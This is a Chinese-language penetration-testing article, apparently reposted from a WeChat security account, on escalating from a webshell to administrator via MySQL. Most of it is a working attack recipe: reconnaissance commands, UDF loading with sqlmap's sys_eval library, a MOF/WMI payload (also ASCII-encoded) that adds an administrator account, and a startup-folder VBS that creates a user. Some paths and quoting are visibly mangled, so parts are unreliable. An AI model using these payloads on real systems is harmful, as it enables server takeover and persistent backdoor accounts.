数据库提权-MySQL

  • A+
所属分类:安全文章

一、前景

在我们做渗透过程中经常在拿到Webshell之后,发现系统权限只是普通用户此时我们可以收集一些关于数据库的信息来进行提权。

注:是利用数据库将服务器用户权限提权到超级管理员权限

二、信息收集

常见数据库默认开放端口:
Orcale:1521
SQL Server:1433
My SQL:3306
DB2:5000
MongoDB:27017
Redis:6379
PostgreSQL:5432

当我们拿到webshell之后,可以在webshell中执行以下命令来看一下服务器开放了哪些端口

windows:netstat -ano
Linux:netstat -lanp

数据库提权-MySQL

查看运行了哪些进程

windows:tasklist
Linux: ps aux | less

数据库提权-MySQL

查看网站配置文件和数据库配置文件,常见文件后缀为:sql data inc config conn database common include等

数据库提权-MySQL

也可通过查看data文件夹中的user.xxx文件查看root账户密码

数据库提权-MySQL

数据库提权-MySQL

三、Mysql数据库提权

UDF提权

#原理
利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
#利用条件
1.Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。
2.Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于c:winntsystem32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。
4.可以将udf.dll写入到相应目录的权限。

配置查看

#查看数据库版本
select version()
#查看mysql安装路径
select @@basedir
#查看plugin路径
show variables like ‘%plugin%’;
#查看操作系统
show variables like '%compile%';
#查看数据是否允许导入/导出
show global variables like '%secure_file_priv%';
返回值null不允许导入或导出,/xx只允许xx目录导入导出,空值则不限制目录
#注意
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果不存在libplugin目录可以使用mysql命令进行创建,或者使用已经拿到的webshell进行创建,

mysql命令创建命令如下

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录

这里使用sqlmap自带的udf工具进行测试

udf工具存放在:sqlmap/data/udf/mysql/目录下

利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:

# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

将解码之后的dll文件导入到/lib/plugin目录下

数据库提权-MySQL

创建自定义函数,并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('要执行的命令');

数据库提权-MySQL

MOF提权

#原理
C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,
因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如
果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
#利用条件
1.系统版本<=Windows server 2003
2.mysql开启了secure_file_priv,并且值为空
3.有数据库管理员账号密码
#利用思路
当我们获取到服务器的webshell,并且当前权限为普通用户,当前环境已经满足利用条件,可以通过连接数
据库,使用sql语句上传带有命令执行的mof文件,并且将该文件覆盖C:/Windows/system32/wbem/mof/
下的nullevt.mof文件。

脚本如下:

#pragma namespace("\\.\root\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa "Win32_LocalTime" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

操作命令

#拥有webshell,直接上传mof文件,然后使用下面命令进行覆盖
select load_file(‘c:xxxnullevt.mof’) into dumpfile
’c:windowssystem32wbemmofnullevt.mof’;
#没有webshell权限,将代码转成ascii码,进行上传
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile 'c:windowssystem32wbemmofnullevt.mof';

启动项提权

#原理
通过sql语句,将恶意文件传入导系统的启动文件夹下,管理员重启电脑时,系统会自动运行该文件。
#利用条件
1.拥有数据库超级管理员权限
2.mysql开启了secure_file_priv,并且为空
3.系统重启()
#SQL命令
1.创建juzi表
create table juzi (cmd text);
2.表中插入vbs内容
insert into juzi values ("set wshshell=createobject (""juzi.shell"")");
insert into juzi values(“a=wshshell.run(“”cmd.exe /c net user juzi [email protected] /add“”,0)”);
3.输出表为一个VBS的脚本文件,在启动项文件夹下
select * from mysql.juzi into outfile "c:\启动项目录\a.vbs";

数据库提权-MySQL


本文始发于微信公众号(WLSec卧龙安全团队):数据库提权-MySQL

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: